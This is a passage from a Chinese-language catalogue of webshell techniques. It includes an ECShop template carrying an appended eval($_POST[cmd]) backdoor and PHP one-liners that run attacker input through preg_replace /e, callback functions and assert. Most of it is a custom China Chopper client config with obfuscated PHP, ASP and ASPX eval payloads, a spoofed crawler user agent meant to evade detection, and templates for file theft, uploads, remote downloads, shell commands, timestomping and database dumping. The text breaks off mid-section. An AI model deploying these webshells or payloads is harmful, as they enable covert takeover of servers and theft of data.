將WEBSHELL傳到服務器以後可能會被IDS刪除。但該WEBSHELL依然會在後臺執行遠程文件中的代碼

Relevant Link:

http://www.code521.com/index.php/archives/474#comment-6873

0x70: 利用CMS模版特性生成WEBSHELL

CMS提供了大量的模版標籤,相似smarty的做用,這個特性可使得WEBSHELL徹底隱藏例如<?php這種語法標籤,從而逃離詞法解析的檢測

下面這個模版文件會被ECSHOP編譯爲PHP文件

<?php echo $this->smarty_insert_scripts(array('files'=>'utils.js,transport.js')); ?>
<table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  <tr>
    <td bgcolor="#ffffff">
      <?php echo $this->_var['lang']['country_province']; ?>:
      <select name="country" id="selCountries_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 1, 'selProvinces_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['country_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'country');if (count($_from)):
    foreach ($_from AS $this->_var['country']):
?>
        <option value="<?php echo $this->_var['country']['region_id']; ?>" <?php if ($this->_var['choose']['country'] == $this->_var['country']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['country']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="province" id="selProvinces_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 2, 'selCities_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['province_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'province');if (count($_from)):
    foreach ($_from AS $this->_var['province']):
?>
        <option value="<?php echo $this->_var['province']['region_id']; ?>" <?php if ($this->_var['choose']['province'] == $this->_var['province']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['province']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="city" id="selCities_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 3, 'selDistricts_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['city_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'city');if (count($_from)):
    foreach ($_from AS $this->_var['city']):
?>
        <option value="<?php echo $this->_var['city']['region_id']; ?>" <?php if ($this->_var['choose']['city'] == $this->_var['city']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['city']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="district" id="selDistricts_<?php echo $this->_var['sn']; ?>" <?php if (! $this->_var['district_list'][$this->_var['sn']]): ?>style="display:none"<?php endif; ?> style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['district_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'district');if (count($_from)):
    foreach ($_from AS $this->_var['district']):
?>
        <option value="<?php echo $this->_var['district']['region_id']; ?>" <?php if ($this->_var['choose']['district'] == $this->_var['district']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['district']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select> <input type="submit" name="Submit" class="bnt_blue_2"  value="<?php echo $this->_var['lang']['search_ship']; ?>" />
      <input type="hidden" name="act" value="viewship" />
    </td>
  </tr>
</table>

<table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  <tr>
    <th width="20%" bgcolor="#ffffff"><?php echo $this->_var['lang']['name']; ?></th>
    <th bgcolor="#ffffff"><?php echo $this->_var['lang']['describe']; ?></th>
    <th width="40%" bgcolor="#ffffff"><?php echo $this->_var['lang']['fee']; ?></th>
    <th width="15%" bgcolor="#ffffff"><?php echo $this->_var['lang']['insure_fee']; ?></th>
  </tr>
  <?php $_from = $this->_var['shipping_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'shipping');if (count($_from)):
    foreach ($_from AS $this->_var['shipping']):
?>
  <tr>
    <td valign="top" bgcolor="#ffffff"><strong><?php echo $this->_var['shipping']['shipping_name']; ?></strong></td>
    <td valign="top" bgcolor="#ffffff" ><?php echo $this->_var['shipping']['shipping_desc']; ?></td>
    <td valign="top" bgcolor="#ffffff"><?php echo $this->_var['shipping']['fee']; ?></td>
    <td align="center" valign="top" bgcolor="#ffffff">
      <?php if ($this->_var['shipping']['insure'] != 0): ?>
      <?php echo $this->_var['shipping']['insure_formated']; ?>
      <?php else: ?>
      <?php echo $this->_var['lang']['not_support_insure']; ?>
      <?php endif; ?>    </td>
  </tr>
  <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
</table><?php echo '<?php'; ?>
 eval($_POST[cmd])<?php echo '?>'; ?>

0x71: preg_xx PCRE相關函數API內置\e eval支持

1. preg_filter

<?php
    preg_filter('|.*|e', $_REQUEST['BadWords'], '');
?>

2. preg_replace

<?php
    $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; //preg_replace
    $hh("/littlehann/e",$_POST['op'],"111littlehann222"); 
?>

Relevant Link:

http://php.net/manual/zh/function.preg-filter.php
http://php.net/manual/zh/function.preg-replace.php

0x72: preg_xx PCRE CALLBACK特徵執行代碼

1. preg_replace_callback_array

<?php
    $subject = 'little hann';

    preg_replace_callback_array(
        [
        '~[t]+~i' => function ($match) {
            eval($_POST['op']);
        },
        '~[n]+~i' => function ($match) {
            eval($_POST['op']);
        }
        ],
        $subject
    );
?>

2. preg_replace_callback

<?php
  preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']); ?>

3. mb_ereg_replace_callback

<?php
  mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);
?>

Relevant Link:

http://php.net/manual/zh/function.preg-replace-callback-array.php
http://php.net/manual/zh/function.preg-replace-callback.php
http://php.net/manual/en/function.mb-ereg-replace-callback.php

0x73: 自定義特徵菜刀

過流量檢測特徵

【這個文件必須保存爲UNICODE編碼】

//返回分隔標識,固定三個字符,儘可能用生闢的字,如返回的內容爲:X@Y12345X@Y,就讀出內容爲12345,
//不要包含單雙引號,以避免和下面的代碼發生衝突,這個標記改完要重啓程序才能生效。

<FLAG>X@Y</FLAG>

//User-Agent:
<UA>Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)</UA>

//第二個參數名稱#K1#
<K1>z1</K1>

//第二個參數名稱#K2#
<K2>z2</K2>



//如下修改後不用重啓程序實時生效
//注意:除%s,%d這樣的參數外,其它的%號要用%%代替,修改前作好備份
//下面的PHP_BASE,ASP_BASE,APSX_BASE三個標記會用到,不要重複了,不然可能不會讀到正確的內容

//PHP_BASE參數:%s
<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>

//ASP_BASE參數:%s %s %s 這裏有個bd函數用於HEX解碼
<ASP_BASE>
%%u0045%%xec%%ute%%G%%loba%%l%%%%28Replace%%28%%22Fu%%nct%%ion%%20bd%%28by%%V%%al%%20s%%29:Fo%%r%%20i%%%%3D1%%20T%%o%%20Le%%n%%28s%%29%%20S%%te%%p%%202:c%%%%3DM%%id%%28s%%2Ci%%2C2%%29:If%%20Is%%Nu%%meric%%28M%%id%%28s%%2Ci%%2C1%%29%%29%%20T%%hen:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%29:E%%lse:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%4026%%40M%%id%%28s%%2Ci%%2B2%%2C2%%29%%29:i%%%%3Di%%2B2:E%%nd%%20If:Ne%%xt:E%%nd%%20Fu%%nct%%ion:E%%xecu%%te%%%%28bd%%%%28%%22%%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022%s223A%s3A526573706F6E73652E57726974652022%s223A526573706F6E73652E456E64%%22%%22%%29%%%%29%%22%%2C%%22%%4026%%40%%22%%2Cchr%%2838%%29%%29%%29
</ASP_BASE>

//ASPX_BASE參數:%s,%d,%s,%s
<ASPX_BASE>
%%u0052%%u0065sponse%%u002E%%u0057rit%%u0065("%s");var %%u0065rr:%%u0045xc%%u0065ption;
%%u0074ry%%u007B%%u0065val(Syst%%u0065m%%u002ET%%u0065xt%%u002E%%u0045ncoding%%u002EG%%u0065t%%u0045ncoding(%d)%%u002EG%%u0065tString(Syst%%u0065m.Conv%%u0065rt%%u002EFromBas%%u006564String("%s")),"unsaf%%u0065");
%%u007Dcatch(err)%%u007B%%u0052esponse%%u002E%%u0057rite("ER"%%2B"ROR:// "%%2Berr.message);%%u007D%%u0052%%u0065sponse.%%u0057rit%%u0065("%s");%%u0052espons%%u0065.%%u0045nd();
</ASPX_BASE>



//一個服務端和下面代碼配合的例子,看了能夠嘗試改出更多花樣並和大夥分享
//<?php @eval(base64_decode($_POST['caidao']));?>
<PHP_BASE.加密示例>
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
</PHP_BASE.加密示例>
實際的內容是eval(base64_decode($_POST[id]));

///////////////////////////////
//注意了,ASP的字符串參數都是用雙引號(如 "%s"),PHP和ASPX都要用單引號(這樣 '%s')。
/////////////////////////////////////////////////////////////////////////////////////////////////

<GETBASEINFO>
    <PHP>$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;</PHP>
    <ASP>Dim S:S=Server.Mappath("/")&chr(9):SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:Err.Clear:Else:For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)</ASP>
    <ASPX>var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath("/")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");</ASPX>
</GETBASEINFO>

<SHOWFOLDER>
    <PHP>$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}</PHP>
    <ASP>Dim RR:RR="%s":Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If</ASP>
    <ASPX>var D='%s';var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}</ASPX>
</SHOWFOLDER>

<SHOWTXTFILE>
    <PHP>$F='%s';$P=@fopen($F,'r');echo(@fread($P,filesize($F)));@fclose($P);</PHP>
    <ASP>Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile("%s",1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If</ASP>
    <ASPX>var P='%s';var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();</ASPX>
</SHOWTXTFILE>

<SAVETXTFILE>
    <PHP>echo fwrite(fopen('%s','w'),$_POST['#K1#'])?'1':'0';</PHP>
    <ASP>CreateObject("Scripting.FileSystemObject").CreateTextFile("%s").Write(Request("#K1#")):If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP>
    <ASPX>var P='%s';var T:String=Request.Item["#K1#"];var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(T);m.Close();Response.Write('1');</ASPX>
</SAVETXTFILE>

<DELETEFILE>
    <PHP>$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}</PHP>
    <ASP>Dim P:P="%s":Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP>
    <ASPX>var P:String='%s';if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");</ASPX>
</DELETEFILE>

<DOWNFILE>
    <PHP>$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}</PHP>
    <ASP>Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile("%s"):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If</ASP>
    <ASPX>Response.WriteFile('%s');</ASPX>
</DOWNFILE>;

<UPLOADFILE>
    <PHP>$f='%s';$c=$_POST["#K1#"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode('%%'.substr($c,$i,2));echo(@fwrite(fopen($f,'w'),$buf)?'1':'0');</PHP>
    <ASP>Dim l,ss,ff,T:ff="%s":ss=Request("#K1#"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:If Request("#K2#")>0 Then:.LoadFromFile ""&ff&"":.Position=.Size:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)</ASP>
    <ASPX>var P:String='%s';var Z:String=Request.Item["#K1#"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");</ASPX>
</UPLOADFILE>

<PASTEFILE>
    <PHP>$fc='%s';$fp='%s';function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");</PHP>
    <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var S='%s';var D='%s';function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\"+f[i].Name,D+"\\"+f[i].Name);for (i in d)cp(S+"\\"+d[i].Name,D+"\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");</ASPX>
</PASTEFILE>

<NEWFOLDER>
    <PHP>$f='%s';echo(mkdir($f)?"1":"0");</PHP>
    <ASP>Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder("%s"):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)</ASP>
    <ASPX>var D='%s';System.IO.Directory.CreateDirectory(D);Response.Write("1");</ASPX>
</NEWFOLDER>

<WGET>
    <PHP>$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");}</PHP>
    <ASP>Dim SI:Set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET","%s",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile "%s",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)</ASP>
    <ASPX>var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",'%s',false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile('%s',2);S.close;S=null;X=null;Response.Write("1");</ASPX>
</WGET>

<SHELL>
    <PHP>$m=get_magic_quotes_gpc();$p='%s';$s='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;</PHP>
    <ASP>Set X=CreateObject("wscript.shell").exec("%s /c %s"):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)</ASP>
    <ASPX>var c=new System.Diagnostics.ProcessStartInfo('%s');var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments='/c %s';e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());</ASPX>
</SHELL>

<RENAME>
    <PHP>$src='%s';$dst='%s';echo rename($src,$dst)?'1':'0';</PHP>
    <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var src='%s',dst='%s';if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");</ASPX>
</RENAME>

<SETTIME>
    <PHP>$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};</PHP>
    <ASP>FN="%s":TM="%s":AA=Split(FN,"\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var DD='%s',TM='%s';if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");</ASPX>
</SETTIME>



//////////////PHP_MYSQL///////////////////

<DB_PHP_MYSQL_DBLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW DATABASES");if(!$q){$q=mysqli_query($T,"select database()");}while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}mysqli_close($T);}
</DB_PHP_MYSQL_DBLIST>

<DB_PHP_MYSQL_TABLELIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW TABLES FROM `{$dbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);}
</DB_PHP_MYSQL_TABLELIST>

<DB_PHP_MYSQL_COLUMNLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW COLUMNS FROM `{$tbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);}
</DB_PHP_MYSQL_COLUMNLIST>

<DB_PHP_MYSQL_EXECUTESQL>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,$sql);if($q){$k = 0;while ($finfo = @mysqli_fetch_field($q)){echo $finfo->name."\t|\t";$k++;}if($k>0){echo "\r\n";while($rs=@mysqli_fetch_row($q)){for($c=0;$c<$k;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".mysqli_error($T)."\t|\t\r\n";}mysqli_close($T);}
</DB_PHP_MYSQL_EXECUTESQL>

//////////////PHP_POSTGRESQL///////////////////

<DB_PHP_POSTGRESQL_DBLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"select current_database()");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);}
</DB_PHP_POSTGRESQL_DBLIST>

<DB_PHP_POSTGRESQL_TABLELIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT relname FROM pg_stat_user_tables");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);}
</DB_PHP_POSTGRESQL_TABLELIST>

<DB_PHP_POSTGRESQL_COLUMNLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$tbn='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT * FROM {$tbn} offset 0 limit 1");if($q){$i=pg_num_fields($q);for($j=0;$j<$i;$j++){echo pg_field_name($q,$j).chr(9);}}pg_close($T);}
</DB_PHP_POSTGRESQL_COLUMNLIST>

<DB_PHP_POSTGRESQL_EXECUTESQL>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$sql='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,$sql);if($q){$i=pg_num_fields($q);if($i>0){for($j=0;$j<$i;$j++){echo pg_field_name($q,$j)."\t|\t";}echo "\r\n";while($rs=pg_fetch_row($q)){for($k=0;$k<$i;$k++){echo $rs[$k]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".pg_last_error($T)."\t|\t\r\n";}pg_close($T);}
</DB_PHP_POSTGRESQL_EXECUTESQL>

//////////////PHP_INFORMIX///////////////////

<DB_PHP_INFORMIX_DBLIST>
$hst='%s';$usr='%s';$pwd='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo "informix\t";while($rs=@ifx_fetch_row($q)){echo $rs[username]."\t";}@ifx_close($T);
</DB_PHP_INFORMIX_DBLIST>

<DB_PHP_INFORMIX_TABLELIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo $rs[tabname]."\t";}@ifx_close($T);
</DB_PHP_INFORMIX_TABLELIST>

<DB_PHP_INFORMIX__COLUMNLIST>
$hst='%s';$usr='%s';$pwd='%s';$tbn='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT first 1 * FROM {$tbn}",$T);if($rs=@ifx_fetch_row($q)){for($i=0;$fn=key($rs);next($rs),$i++){echo $fn." (".$rs[$fn].")\t";}}@ifx_close($T);
</DB_PHP_INFORMIX__COLUMNLIST>

<DB_PHP_INFORMIX_EXECUTESQL>
$hst='%s';$usr='%s';$pwd='%s';$sql='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query($sql,$T);if($q){$cs=ifx_fieldtypes($q);if(isset($cs)){foreach($cs as $f=>$v){echo $f."\t|\t";}echo "\r\n";while($rs=@ifx_fetch_row($q)){for(reset($rs);$f=key($rs);next($rs)){echo $rs[$f]);echo "\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".ifx_error($T)."\t|\t\r\n";}@ifx_close($T);
</DB_PHP_INFORMIX_EXECUTESQL>

//////////////PHP_ORACLE/////////環境配置太麻煩了,盲改的,有環境的同窗照着改出來後分享一下////////////

<DB_PHP_ORACLE_DBLIST>
$hst='%s';$usr='%s';$pwd='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);}
</DB_PHP_ORACLE_DBLIST>

<DB_PHP_ORACLE_TABLELIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);}
</DB_PHP_ORACLE_TABLELIST>

<DB_PHP_ORACLE_COLUMNLIST>
